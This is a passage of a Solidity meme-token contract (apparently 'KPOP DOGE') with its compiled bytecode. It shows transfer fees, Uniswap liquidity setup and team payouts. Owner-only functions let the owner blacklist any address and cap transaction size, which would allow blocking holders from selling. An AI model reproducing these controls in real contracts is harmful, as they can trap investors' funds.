return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (45 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600981526020017f4b504f5020444f47450000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b444f4745000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b602d42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b6